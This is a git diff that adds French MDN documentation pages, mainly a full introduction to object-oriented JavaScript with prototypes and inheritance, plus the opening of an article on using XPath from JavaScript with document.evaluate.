+ <dd>CodePen est un outil de développement web collaboratif permettant de voir le résultat en direct.</dd>
+ <dt><a href="https://plnkr.co/">Plunker</a></dt>
+ <dd>Plunker est un site communautaire et collaboratif pour partager des idées relatives au développement web. Vous pouvez y éditer des fichiers JavaScript, CSS et HTML puis voir le résultat obtenu.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/fr/web/javascript/introduction_à_javascript_orienté_objet/index.html b/files/fr/web/javascript/introduction_à_javascript_orienté_objet/index.html
new file mode 100644
index 0000000000..d41dcac5cb
--- /dev/null
+++ b/files/fr/web/javascript/introduction_à_javascript_orienté_objet/index.html
@@ -0,0 +1,371 @@
+---
+title: Introduction à JavaScript orienté objet
+slug: Web/JavaScript/Introduction_à_JavaScript_orienté_objet
+tags:
+  - Encapsulation
+  - Intermédiaire
+  - JavaScript
+  - OOP
+  - Object
+  - Orienté objet
+translation_of: Learn/JavaScript/Objects
+---
+<div>{{jsSidebar("Introductory")}}</div>
+
+<p>JavaScript possède un grand potentiel pour la programmation orientée objet (aussi appelée {{Glossary("OOP")}}). Cet article débutera par une introduction à la programmation orientée objet puis abordera le modèle objet de JavaScript et finira par les concepts de la programmation orientée objet appliquée à JavaScript.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Une nouvelle façon de créer des objets a été introduite avec ECMAScript 2015 (ES6) et n'est pas décrite ici. Il s'agit <a href="/fr/docs/Web/JavaScript/Reference/Classes">des classes</a>.</p>
+</div>
+
+<h2 id="Un_aperçu_de_JavaScript">Un aperçu de JavaScript</h2>
+
+<p>Si vous n'êtes pas certain de connaître certains concepts comme les variables, les types, les fonctions, et les portées vous pouvez lire <a href="/fr/docs/Web/JavaScript/Une_réintroduction_à_JavaScript">Une réintroduction à JavaScript</a>. Vous pouvez également consulter le <a href="/fr/docs/Web/JavaScript/Guide">guide JavaScript</a>.</p>
+
+<h2 id="La_programmation_orientée_objet">La programmation orientée objet</h2>
+
+<p>La programmation orientée objet est un paradigme de programmation qui se base sur une abstraction du monde réel pour créer des modèles. Plusieurs techniques sont utilisées, provenant de paradigmes précédents, comme la modularité, le polymorphisme, ou l'encapsulation. Aujourd'hui, de nombreux langages de programmation (Java, JavaScript, C#, C++, Python, PHP, Ruby et Objective-C par exemple) utilisent la programmation orientée objet (OOP en anglais pour <em>Object-Oriented Programmation</em>).</p>
+
+<p>La programmation orientée objet peut être vue comme une façon de concevoir un ou des logiciel(s) grâce à un ensemble d'objets qui coopèrent plutôt que d'utiliser, avec une approche plus traditionnelle, un ensemble de fonctions ou encore une liste d'instructions à envoyer à un ordinateur. En programmation orientée objet, chaque objet est capable d'envoyer et de recevoir des messages provenant d'autres objets, de traiter des données. Chaque objet peut être compris comme une entité indépendante avec un rôle distinct.</p>
+
+<p>La programmation orientée objet a pour but de permettre une plus grande flexibilité et maintenabilité du code. Elle est populaire pour les projets logiciels de grande ampleur. Étant donné l'accent mis sur la modularité, le code orienté objet est censé être plus simple à développer, plus facile à reprendre, à analyser et permettre de répondre à des situations complexes en comparaison à d'autres méthodes de programmation moins modulaires.</p>
+
+<h2 id="Terminologie">Terminologie</h2>
+
+<dl>
+ <dt>{{Glossary("Namespace","Espace de noms")}}</dt>
+ <dd>Un conteneur qui permet aux développeurs d'empaqueter les différentes fonctionnalités d'un programme sous un même nom d'application.</dd>
+ <dt>{{Glossary("Class", "Classe")}}</dt>
+ <dd>Définit les caractéristiques de l'objet.</dd>
+ <dt>{{Glossary("Objet")}}</dt>
+ <dd>Une instance (un « exemplaire ») d'une classe.</dd>
+ <dt>{{Glossary("Property", "Propriété")}}</dt>
+ <dd>Une caractéristique d'un objet (sa couleur par exemple).</dd>
+ <dt>{{Glossary("Méthode")}}</dt>
+ <dd>Une capacité d'un objet (changer de couleur par exemple).</dd>
+ <dt>{{Glossary("Constructeur")}}</dt>
+ <dd>Une méthode appelée au moment de l'instantiation.</dd>
+ <dt>{{Glossary("Héritage")}}</dt>
+ <dd>Une classe peut hériter des caractéristiques et des fonctionnalités d'une autre classe.</dd>
+ <dt>{{Glossary("Encapsulation")}}</dt>
+ <dd>Une classe définit uniquement les caractéristiques de son objet, une méthode définit uniquement la façon dont elle s'exécute. On regroupe donc les données et les méthodes qui utilisent ces données.</dd>
+ <dt>{{Glossary("Abstraction")}}</dt>
+ <dd>La conjonction entre l'utilisation de l'héritage, de méthodes ou de propriétés d'un objet pour simuler un modèle de la réalité.</dd>
+ <dt>{{Glossary("Polymorphisme")}}</dt>
+ <dd>Poly signifie « plusieurs » et morphisme signifie « formes ». Cela signifie que différentes classes peuvent définir la même méthode ou la même propriété.</dd>
+</dl>
+
+<p>Pour une description plus étendue, lire l'article {{interwiki("wikipedia","Programmation_orientée_objet","Programmation orientée objet")}} de Wikipédia.</p>
+
+<h2 id="Programmation_orientée_prototype">Programmation orientée prototype</h2>
+
+<p>La programmation orientée prototype est un style de programmation orientée objet qui n'utilise pas les classes. La réutilisation des propriétés d'un objet (appelée héritage pour les langages à classe) est effectuée via des objets qui seront des prototypes pour d'autres objets. Parmi les autres noms de ce modèle, on retrouve la programmation sans classe ou la programmation à base d'instances.</p>
+
+<p>L'exemple premier d'un langage utilisant les prototypes est le langage de programmation {{interwiki("wikipedia", "Self_(langage)", "Self")}}, développé par David Ungar et Randall Smith. Toutefois, ce modèle de programmation s'est popularisé à différents langages comme JavaScript, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak (quand le framework Viewer est utilisé pour manipuler des composants Morphic), et d'autres encore.</p>
+
+<h2 id="La_programmation_orientée_objet_avec_JavaScript">La programmation orientée objet avec JavaScript</h2>
+
+<h3 id="Les_espaces_de_noms">Les espaces de noms</h3>
+
+<p>Un espace de noms est un conteneur qui permet de regrouper l'ensemble des fonctionnalités d'une application sous un un nom unique, spécifique à cette application. <strong>En JavaScript, un espace de noms est un objet comme les autres qui contient des méthodes et des propriétés.</strong></p>
+
+<div class="note">
+<p><strong>Note :</strong> il est important de bien faire la différence avec d'autres langages ou les espaces de noms et les objets sont des entités distinctes. En JavaScript, ce n'est pas le cas.</p>
+</div>
+
+<p>Pourquoi créer un espace de noms en JavaScript ? La réponse est simple, on peut ainsi disposer d'un seul objet global qui contient l'ensemble des variables, méthodes et fonctions en tant que propriétés. L'utilisation d'un tel objet permet ainsi de réduire le risque de conflit (utilisation d'un même nom) au sein d'une application qui en utilise une autre.</p>
+
+<p>Par exemple : on peut créer un objet global MONAPPLICATION :</p>
+
+<pre class="brush: js">// espace de nom global
+var MONAPPLICATION = MONAPPLICATION || {};</pre>
+
+<p>Dans l'exemple ci-dessus, on vérifie d'abord que MONAPPLICATION n'est pas déjà défini (dans ce fichier ou dans un autre). S'il est déjà défini, on l'utilise, sinon on crée un objet vide MONAPPLICATION qui recevra les différentes méthodes, fonctions et variables à encapsuler.</p>
+
+<p>Il est également possible de créer des espaces de noms à un niveau inférieur (une fois qu'on a bien défini le <em>namespace</em> global) :</p>
+
+<pre class="brush: js">// espace de noms "fils"
+MONAPPLICATION.event = {};</pre>
+
+<p>L'exemple ci-dessous permet de créer un espace de noms et de lui ajouter des variables, des fonctions et des méthodes :</p>
+
+<pre class="brush: js">// On crée un conteneur MONAPPLICATION.méthodesCommunes pour regrouper certaines méthodes
+MONAPPLICATION.méthodesCommunes = {
+  regExPourNom: "", // on définit une expression rationnelle pour un nom
+  regExPourTéléphone: "", // une autre pour un numéro de téléphone
+  validerNom: function(nom){
+    // On valide le nom en utilisant
+    // la regexp par exemple
+  },
+
+  validerNumTéléphone: function(numTéléphone){
+    // on valide le numéro de téléphone
+  }
+}
+
+// On utilise un conteneur pour les événements
+MONAPPLICATION.event = {
+  addListener: function(el, type, fn) {
+  //  le corps de la méthode
+  },
+  removeListener: function(el, type, fn) {
+  //  le corps de la méthode
+  },
+  getEvent: function(e) {
+  //  le corps de la méthode
+  }
+
+ // Il est possible d'ajouter des méthodes et des propriétés
+}
+
+// Exemple de syntaxe pour utiliser la méthode addListener :
+MONAPPLICATION.event.addListener("monÉlément", "type", callback);</pre>
+
+<h3 id="Objets_natifs_standard">Objets natifs standard</h3>
+
+<p>JavaScript dispose de plusieurs objets essentiels inclus dans le langage. On y trouve entre autres les objets <code>Math</code>, <code>Object</code>, <code>Array</code>, et <code>String</code>. L'exemple ci-après illustre comment utiliser l'objet <code>Math</code> pour obtenir un nombre aléatoire en utilisant la méthode <code>random()</code>.</p>
+
+<pre class="brush: js">console.log(Math.random());
+</pre>
+
+<div class="note"><strong>Note :</strong> Cet exemple, ainsi que les suivants, utilisent une fonction {{domxref("console.log()")}} définie globalement. La fonction <code>console.log </code>n'est pas, à proprement parler, une fonctionnalité de JavaScript en tant que telle mais est implémentée dans la plupart des navigateurs à des fins de débogage.</div>
+
+<p>Voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux">les objets globaux</a> pour une liste de ces objets essentiels.</p>
+
+<p>En JavaScript, chaque objet est une instance de l'objet <a href="/fr/docs/JavaScript/R%C3%A9f%C3%A9rence_JavaScript/Objets_globaux/Object"><code>Object</code></a> et hérite donc des propriétés et des méthodes de ce dernier.</p>
+
+<h3 id="Objets_créés_sur_mesure">Objets créés sur mesure</h3>
+
+<h4 id="Le_constructeur">Le constructeur</h4>
+
+<p>JavaScript est un langage utilisant les prototypes, il ne dispose pas d'une instruction pour déclarer une classe (à la différence de C++ ou Java). Cela peut sembler déroutant pour les développeurs utilisant d'autres langages de classe. JavaScript utilise des fonctions comme constructeurs pour définir un objet. On définit les propriétés et méthodes d'un objet en définissant une fonction qui sera utilisée par la suite pour construire l'objet souhaité. Ici, on définit un constructeur <code>Personne</code>.</p>
+
+<pre class="brush: js">var Personne = function () { }
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Par convention, le nom d'un constructeur commence par une majuscule. Cela permet de différencier les fonctions classiques des constructeurs et de mieux les utiliser.</p>
+</div>
+
+<h4 id="L'instance">L'instance</h4>
+
+<p>Pour créer une nouvelle instance, on utilise l'instruction <code>new <em>objet</em></code>, et on affecte le résultat de cette expression à une variable qu'on utilisera par la suite. Il est également possible d'utiliser la méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/create"><code>Object.create</code></a> afin de créer une instance non initialisée.</p>
+
+<p>Dans l'exemple qui suit, on utilise le constructeur <code>Personne</code> définit précédemment et on crée deux instances grâce à l'opérateur <a href="/fr/docs/JavaScript/Reference/R%C3%A9f%C3%A9rence_JavaScript/Op%C3%A9rateurs/Op%C3%A9rateurs_sp%C3%A9ciaux/L'op%C3%A9rateur_new"><code>new</code></a> (<code>personne1</code> et <code>personne2</code>).</p>
+
+<pre class="brush: js">var personne1 = new Personne();
+var personne2 = new Personne();
+</pre>
+
+<div class="note"><strong>Note:</strong> Voir aussi {{jsxref("Object.create()")}} pour une autre méthode d'instanciation.</div>
+
+<h4 id="Le_constructeur_(suite)">Le constructeur (suite)</h4>
+
+<p>Le constructeur est la méthode appelée au moment de l'instanciation (l'instant où l'exemplaire de l'objet est créé). En JavaScript, la déclaration vue précédemment suffit à définir un constructeur. Chaque action déclarée dans le constructeur est executée au moment de l'instanciation.</p>
+
+<p>Le constructeur est utilisé afin de définir les propriétés d'un objet et d'appeler les méthodes nécessaires pour préparer l'objet.</p>
+
+<p>Dans l'exemple ci-dessous, le constructeur de la classe <code>Personne</code> affiche un message dans la console lorsqu'un objet <code>Personne</code> est instancié.</p>
+
+<pre class="brush: js">function Personne() {
+  console.log('Nouvel objet Personne créé');
+}
+
+var personne1 = new Personne();
+// affiche "Nouvel objet Personne créé" dans la console
+var personne2 = new Personne();
+// affiche "Nouvel objet Personne créé" dans la console
+</pre>
+
+<h4 id="Les_propriétés_(ou_attributs)">Les propriétés (ou attributs)</h4>
+
+<p>Les propriétés sont des variables appartenant à un objet. Les propriétés d'un objet peuvent être définies au sein du prototype afin que tous les objets qui en héritent puissent disposer de cette propriété via la chaîne de prototypes.</p>
+
+<p>Dans le contexte d'un objet, l'accès à ses propriétés se fait grâce au mot-clé <code>this</code>, qui fait référence à l'objet courant. L'accès (en écriture ou lecture) à une propriété depuis un autre objet se fait grâce à la syntaxe <code>nomInstance.propriété</code>. Cette syntaxe est la même pour d'autres langages comme C++, Java, etc.</p>
+
+<p>Dans l'exemple qui suit, on crée la propriété <code>nom</code> pour le constructeur <code>Personne</code> et on définit sa valeur lors de l'instanciation :</p>
+
+<pre class="brush: js">function Personne(nom) {
+  this.nom = nom;
+  console.log('Nouvel objet Personne créé');
+}
+
+var personne1 = new Personne('Alice');
+var personne2 = new Personne('Bob');
+
+//on affiche le nom de personne1
+console.log('personne1 est ' + personne1.nom); // personne1 est Alice
+console.log('personne2 est ' + personne2.nom); // personne2 est Bob
+</pre>
+
+<h4 id="Les_méthodes">Les méthodes</h4>
+
+<p>Les méthodes sont également des propriétés d'un objet : ce sont des fonctions plutôt que des objets. L'appel à une méthode se fait de la même façon que pour l'accès à une propriété, les parenthèses <code>()</code> en plus, éventuellement avec des arguments. Pour définir une méthode dont disposeront tous les objets qu'on souhaite définir, il faut l'assigner comme propriété de la propriété <code>prototype</code> de l'objet. Le nom auquel est assigné la fonction est le nom de la méthode.</p>
+
+<p>Dans l'exemple qui suit, on définit et utilise la méthode <code>direBonjour()</code> pour un objet <code>Personne</code>.</p>
+
+<pre class="brush: js">function Personne(nom) {
+  this.nom = nom;
+}
+
+Personne.prototype.direBonjour = function() {
+  console.log("Bonjour, je suis " + this.nom);
+};
+
+var personne1 = new Personne('Alice');
+var personne2 = new Personne('Robert');
+
+// on appelle la méthode.
+personne1.direBonjour(); // Bonjour, je suis Alice
+</pre>
+
+<p>En JavaScript, les méthodes sont des fonctions classiques simplement liées à un objet en tant que propriété. On peut donc appeler la méthode « en dehors de l'objet ». Par exemple :</p>
+
+<pre class="brush: js">function Personne(nom) {
+  this.nom = nom;
+}
+
+Personne.prototype.afficherNom = function() {
+  console.log("Je suis "+this.nom);
+};
+
+var personne1 = new Personne('Gustave');
+var donnerUnNom = personne1.afficherNom;
+
+personne1.afficherNom(); // 'Je suis Gustave'
+donnerUnNom(); // undefined
+console.log(donnerUnNom === personne1.afficherNom); // true
+console.log(donnerUnNom === Personne.prototype.afficherNom); // true
+donnerUnNom.call(personne1); // 'Je suis Gustave'
+</pre>
+
+<p>On voit ici plusieurs concepts. Tout d'abord, il n'existe pas de méthode propre à un objet car toutes les références à la méthode vont utiliser la fonction définie pour le prototype. Ensuite, JavaScript fait un lien entre le contexte de l'objet courant et la variable <strong>this</strong> quand une fonction est appelée en tant que propriété d'un objet. Ceci est équivalent à utiliser la fonction <code>call</code> :</p>
+
+<pre class="brush: js">donnerUnNom.call(personne1); // 'Gustave'
+</pre>
+
+<div class="note"><strong>Note :</strong> Voir les pages <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/call">Function.call</a> et <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/apply">Function.apply</a> pour plus d'informations. Voir également la page sur l'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">this</a> et les différents contextes.</div>
+
+<h4 id="L'héritage">L'héritage</h4>
+
+<p>L'héritage permet de créer un objet spécialisé qui découle d'un autre objet. (<em>JavaScript ne supporte que l'héritage unique : c'est-à-dire qu'un objet peut spécialiser un autre objet mais ne peut pas en spécialiser plusieurs à la fois</em>). L'objet spécialisé est appelé l'objet fils et l'objet générique appelé parent. Pour indiquer un lien d'héritage en JavaScript, on assigne une instance de l'objet parent à la propriété <code>prototype</code> de l'objet fils. Grâce aux navigateurs récents, il est également possible d'utiliser la méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/create#H.C3.A9ritage_avec_Object.create">Object.create</a> afin d'implémenter l'héritage.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il est également nécessaire de renseigner la propriété <code>prototype.constructor</code> avec le constructeur de la classe parente ! Voir la page de <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/prototype">Object:prototype</a> pour plus d'informations.</p>
+</div>
+
+<p>Dans les exemples qui suivent, on définit le constructeur <code>Étudiant</code> pour créer des objets bénéficiant des propriétés d'un objet <code>Personne</code>. Pour cet objet fils, on redéfinit la méthode <code>direBonjour()</code> et on ajoute la méthode <code>aurevoir()</code>.</p>
+
+<pre class="brush: js">// Le constructeur Personne
+var Personne = function(nom) {
+   this.nom = nom;
+};
+
+Personne.prototype.marcher = function(){
+  console.log("Je marche !");
+};
+Personne.prototype.direBonjour = function(){
+  console.log("Bonjour, je suis "+this.nom);
+};
+
+// Le constructeur Étudiant
+function Étudiant(nom, sujet) {
+  // On appelle le constructeur parent
+  // pour profiter des propriétés définies dans la fonction
+  Personne.call(this, nom);
+  this.sujet = sujet;
+}
+
+// On déclare l'héritage pour bénéficier de la chaîne de prototypes
+// Attention à ne pas utiliser "new Personne()". Ceci est incorrect
+// on ne peut pas fournir l'argument "nom". C'est pourquoi on appelle
+// Personne avant, dans le constructeur Étudiant.
+Étudiant.prototype = Object.create(Personne.prototype);
+
+// on corrige le constructeur qui pointe sur celui de Personne
+Étudiant.prototype.constructor = Étudiant;
+
+// on remplace la méthode direBonjour pour l'étudiant
+Étudiant.prototype.direBonjour = function(){
+ console.log("Bonjour, je suis "+ this.nom + ". J'étudie " + this.sujet + ".");
+};
+
+// on ajoute la méthode aurevoir
+Étudiant.prototype.aurevoir = function(){
+  console.log('Au revoir');
+};
+
+var étudiant1 = new Étudiant("Jean", "la physique appliquée");
+étudiant1.direBonjour();
+étudiant1.marcher();
+étudiant1.aurevoir();
+
+// on vérifie l'héritage
+console.log(étudiant1 instanceof Personne); // true
+console.log(étudiant1 instanceof Étudiant); // true
+</pre>
+
+<p>Les anciens navigateurs peuvent ne pas disposer de la méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/create"><code>Object.create</code></a>. Pour résoudre ce problème, il est possible d'utiliser une prothèse d'émulation (<em>polyfill</em> ou <em>shim</em>) comme :</p>
+
+<pre class="brush: js">function createObject(proto) {
+  function ctor() { }
+  ctor.prototype = proto;
+  return new ctor();
+}
+
+// Exemple d'utilisation:
+Étudiant.prototype = createObject(Personne.prototype);</pre>
+
+<div class="note"><strong>Note :</strong> Voir la page <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/create">Object.create</a> pour plus d'informations et pour une prothèse d'émulation pour les anciens navigateurs.</div>
+
+<p class="note">Il peut parfois être utile de vérifier la valeur de this utilisée au sein de la fonction pour appliquer les bons traitements. Par exemple, on pourra utiliser</p>
+
+<pre class="brush: js">var Person = function(nom) {
+  if (this instanceof Personne) {
+    this.nom = nom;
+  } else {
+    return new Personne(nom);
+  }
+}
+</pre>
+
+<h4 id="L'encapsulation">L'encapsulation</h4>
+
+<p>Dans l'exemple précédent, <code>Étudiant</code> n'a pas besoin de réimplémenter la méthode <code>marcher() </code>de <code>Personne</code> : il peut l'utiliser directement. L'encapsulation signifie qu'on a seulement besoin d'implémenter les changements (ex : <code>direBonjour</code>) par rapport à l'objet parent, le reste sera hérité naturellement et pourra être utilisé par l'objet fils. Chaque prototype regroupe les données et les méthodes dans une seule et même unitée.</p>
+
+<p>D'autres langages permettent de masquer des informations grâce des méthodes/propriétés privées et/ou protégées. Bien qu'il soit possible de simuler ce comportement en JavaScript, cet aspect n'est pas obligatoire en programmation orientée objet.</p>
+
+<h4 id="L'abstraction">L'abstraction</h4>
+
+<p>L'abstraction permet de modéliser le problème qu'on souhaite résoudre. On peut créer un modèle abstrait en utilisant l'héritage (autrement dit une spécialisation des objets) et la composition. Comme on l'a vu JavaScript permet de créer un héritage (simple) entre objets et la composition est obtenue car les propriétés d'un objet peuvent elles-mêmes être des objets.</p>
+
+<p>L'objet JavaScript <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function"><code>Function</code></a> hérite de <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object">Object</a></code> (on a l'héritage) et la propriété <code>Function.prototype</code> est une instance d'<code>Object</code> (on a la composition)</p>
+
+<pre class="brush: js">var toto = function(){};
+console.log('toto est une Function : ' + (toto instanceof Function) );
+console.log('toto.prototype est un Object : ' + (toto.prototype instanceof Object) );
+</pre>
+
+<h4 id="Le_polymorphisme">Le polymorphisme</h4>
+
+<p>Le polymorphisme est rendu possible par l'héritage des méthodes. Les différents objets fils peuvent définir différentes méthodes avec le même nom. Ainsi si on itère sur une collection d'objets dont on sait que ces objets sont des instances du type parent, on pourra utiliser la méthode nommée qui utilisera la méthode définie pour l'objet fils.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Les techniques présentées ici ne sont qu'un fragment des techniques utilisables en JavaScript. JavaScript, grâce à sa nature prototypale, est très flexible et permet d'implémenter différentes façons de programmer avec des objets.</p>
+
+<p>Les techniques présentées ici ne tirent pas partie de l'implémentation des objets d'autres langages ni de bidouilles spécifiques au langage. Il existe d'autres techniques permettant de construire différentes architectures objet en JavaScript mais celles-ci dépassent le cadre de cet article.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide">Guide JavaScript</a> sur MDN</li>
+ <li>L'article Wikipédia : <a href="https://fr.wikipedia.org/wiki/Programmation_orient%C3%A9e_objet">Programmation orientée objet</a></li>
+ <li>L'article Wikipédia : <a href="https://fr.wikipedia.org/wiki/Programmation_orient%C3%A9e_prototype">Programmation orientée prototype</a></li>
+ <li>L'article Wikipédia : <a href="https://fr.wikipedia.org/wiki/Encapsulation_(programmation)">l'encapsulation</a></li>
+ <li><a href="https://davidwalsh.name/javascript-objects">Aperçu de JavaScript pour la POO</a>, une série d'articles en anglais écrite par Kyle Simpson</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">Le mode strict</a></li>
+</ul>
diff --git a/files/fr/web/javascript/introduction_à_l_utilisation_de_xpath_avec_javascript/index.html b/files/fr/web/javascript/introduction_à_l_utilisation_de_xpath_avec_javascript/index.html
new file mode 100644
index 0000000000..620d538eb8
--- /dev/null
+++ b/files/fr/web/javascript/introduction_à_l_utilisation_de_xpath_avec_javascript/index.html
@@ -0,0 +1,410 @@
+---
+title: Introduction à l'utilisation de XPath avec JavaScript
+slug: Web/JavaScript/Introduction_à_l_utilisation_de_XPath_avec_JavaScript
+tags:
+  - DOM
+  - Extensions
+  - JavaScript
+  - XML
+  - XPath
+  - XSLT
+translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript
+---
+<p>Ce document décrit l'interface pour utiliser <a href="/fr/docs/Web/XPath">XPath</a> dans JavaScript, que ce soit en interne, dans les extensions et depuis les sites Web. Mozilla implémente une partie importante de <a href="https://www.w3.org/TR/2004/NOTE-DOM-Level-3-XPath-20040226/">DOM 3 XPath (en)</a>. Cela signifie que les expressions XPath peuvent être utilisées sur des documents HTML et XML.</p>
+
+<p>La principale interface pour l'utilisation de XPath est la fonction <code><a href="/fr/docs/Web/API/Document/evaluate">evaluate()</a></code> de l'objet <code><a href="/fr/docs/Web/API/Document">document</a></code>.</p>
+
+<h2 id="document.evaluate()">document.evaluate()</h2>
+
+<p>Cette méthode évalue les expressions <a href="/fr/docs/Web/XPath">XPath</a> dans un document <a href="/fr/docs/Web/XML">XML</a> (y compris les documents HTML), et retourne un objet <code><a class="internal" href="/fr/docs/Web/XPath/XPathResult">XPathResult</a></code>, qui peut être un nœud unique ou un ensemble de nœuds. La documentation existante sur cette méthode se trouve à la page <code><a href="/fr/docs/Web/API/Document/evaluate">document.evaluate</a></code> mais elle est plutôt succincte comparée à nos besoins actuels. Nous l'examinerons de façon plus complète dans la suite de ce document.</p>
+
+<pre class="eval">var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, resultType, result );
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>La fonction <a href="/fr/docs/Web/API/Document/evaluate">evaluate</a> prend cinq arguments au total :</p>
+
+<dl>
+ <dt><code>xpathExpression</code></dt>
+ <dd>Une chaîne contenant l'expression XPath à évaluer.</dd>
+ <dt><code>contextNode</code></dt>
+ <dd>Un nœud du document pour lequel l'expression <code>xpathExpression</code> doit être évaluée, ainsi que l'ensemble de ses descendants. Le nœud <a href="/fr/docs/Web/API/Document/">document</a> est le plus couramment utilisé.</dd>
+ <dt><code>namespaceResolver</code></dt>
+ <dd>Une fonction à laquelle sera passé tout préfixe d'espace de nommage contenu dans l'expression <code>xpathExpression</code> et qui renvoie une chaîne représentant l'URI de l'espace de nommage associé à ce préfixe. Cela permet la conversion entre le préfixe utilisé dans les expressions XPath et les différents préfixes éventuellement utilisés dans le document. Cette fonction peut être :</dd>
+</dl>
+
+<ul>
+ <li><a href="#Impl.C3.A9mentation_d.27un_r.C3.A9solveur_d.27espaces_de_nommage_par_d.C3.A9faut">Créée</a> à l'aide de la méthode <code><a href="/fr/docs/Web/API/Document/createNSResolver">createNSResolver</a></code> d'un objet <code><a href="http://www.xulplanet.com/references/objref/XPathEvaluator.html">XPathEvaluator</a></code>. C'est la solution à utiliser à peu près tout le temps.</li>
+ <li>Une valeur <code>null</code>, qui peut être utilisé pour les documents HTML ou lorsqu'aucun préfixe n'est utilisé. Remarquez que si l'expression <code>xpathExpression</code> contient un préfixe d'espace de nommage cela déclenchera une exception <code>DOMException</code> portant le code <code>NAMESPACE_ERR</code>.</li>
+ <li>Une fonction personnalisée définie par l'utilisateur. Voir la section <a href="#Impl.C3.A9mentation_d.27un_r.C3.A9solveur_d.27espace_de_nommage_personnalis.C3.A9">Implémentation d'un résolveur d'espace de nommage personnalisé</a> dans l'annexe pour plus de détails.</li>
+</ul>
+
+<dl>
+ <dt><code>resultType</code></dt>
+ <dd>Une <a href="#Constantes_d.C3.A9finies_de_XPathResult">constante</a> qui définit le type de résultat à renvoyer comme résultat de l'évaluation. La constante la plus courante est <code>XPathResult.ANY_TYPE</code> qui renverra un résultat du type le plus naturel par rapport à l'expression XPath. Une section de l'annexe contient une liste complète des <a href="#Constantes_d.C3.A9finies_de_XPathResult">constantes disponibles</a>. Elles sont expliquées dans la section <a href="#D.C3.A9finition_du_type_de_retour">#Définition du type de retour</a> ci-dessous.</dd>
+ <dt><code>result</code></dt>
+ <dd>Soit un objet <code>XPathResult</code> existant qui sera réutilisé pour contenir les résultats, soit la valeur <code>null</code> qui peut être utilisée pour créer un nouvel objet <code>XPathResult</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Renvoie <code>xpathResult</code>, qui est un objet <code>XPathResult</code> du type <a href="#D.C3.A9finition_du_type_de_retour">défini</a> dans le paramètre <code>resultType</code>. L'interface <code>XPathResult</code> est définie dans ce <a href="/fr/docs/Web/API/XPathResult">document</a>.</p>
+
+<h3 id="Implémentation_d'un_résolveur_d'espaces_de_nommage_par_défaut"><a id="Implémentation_d'un_résolveur"></a>Implémentation d'un résolveur d'espaces de nommage par défaut</h3>
+
+<p>On crée un résolveur d'espace de nommage à l'aide de la méthode <code>createNSResolver</code> de l'objet <a href="/fr/docs/Web/API/Document/">document</a>.</p>
+
+<pre class="eval">var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement );
+</pre>
+
+<p><span class="comment">Ou alternativement en utilisant la méthode &lt;code&gt;createNSResolver&lt;/code&gt; d'un objet &lt;code&gt;XPathEvaluator&lt;/code&gt;. &lt;pre&gt; var xpEvaluator = new XPathEvaluator(); var nsResolver = xpEvaluator.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement ); &lt;/pre&gt;</span> On lui passe ensuite <code>document.evaluate</code>, la variable <code>nsResolver</code> comme paramètre <code>namespaceResolver</code>.</p>
+
+<p><span class="comment">véracité du paragraphe suivant à vérifier avec la doc du w3c</span> Notez que XPath définit que les <code>QNames</code> sans préfixe correspondent uniquement aux éléments de l'espace de nommage <code>null</code>. Il n'existe aucun moyen dans XPath pour récupérer l'espace de nommage par défaut. Pour coupler des éléments ou des attributs dans un espace de nommage non nul, vous devrez détecter les noms préfixés, et créer un résolveur d'espace de nommage qui fera correspondre le préfixe avec l'espace de nommage. Vous en saurez plus sur la façon de <a href="#Impl.C3.A9mentation_d.27un_r.C3.A9solveur_d.27espace_de_nommage_personnalis.C3.A9">créer un résolveur d'espace de nommage personnalisé</a> ci-dessous.</p>
+
+<h3 id="Définition_du_type_de_retour">Définition du type de retour</h3>
+
+<p>La variable <code>xpathResult</code> renvoyée par <code>document.evaluate</code> peut être composée de nœuds individuels (<a href="#Types_simples">types simples</a>), ou un groupe de nœuds (<a href="#Types_d.27ensembles_de_n.C5.93uds">types d'ensembles de nœuds</a>).</p>
+
+<h4 id="Types_simples">Types simples</h4>
+
+<p>Lorsque le type de résultat spécifié dans <code>resultType</code> est soit :</p>
+
+<ul>
+ <li><code>NUMBER_TYPE</code> — un nombre</li>
+ <li><code>STRING_TYPE</code> — une chaîne</li>
+ <li><code>BOOLEAN_TYPE</code> — une valeur booléenne</li>
+</ul>
+
+<p>On obtiendra la valeur de retour de l'expression en accédant respectivement aux propriétés suivantes de l'objet <code>XPathResult</code> :</p>
+
+<ul>
+ <li><code>numberValue</code></li>
+ <li><code>stringValue</code></li>
+ <li><code>booleanValue</code></li>
+</ul>
+
+<h5 id="Exemple">Exemple</h5>
+
+<p>Cet exemple utilise l'expression XPath <code><a href="/fr/docs/Web/XPath/Fonctions/count">count(//p)</a></code> pour obtenir le nombre d'éléments <code>&lt;p&gt;</code> présents dans le document HTML :</p>
+
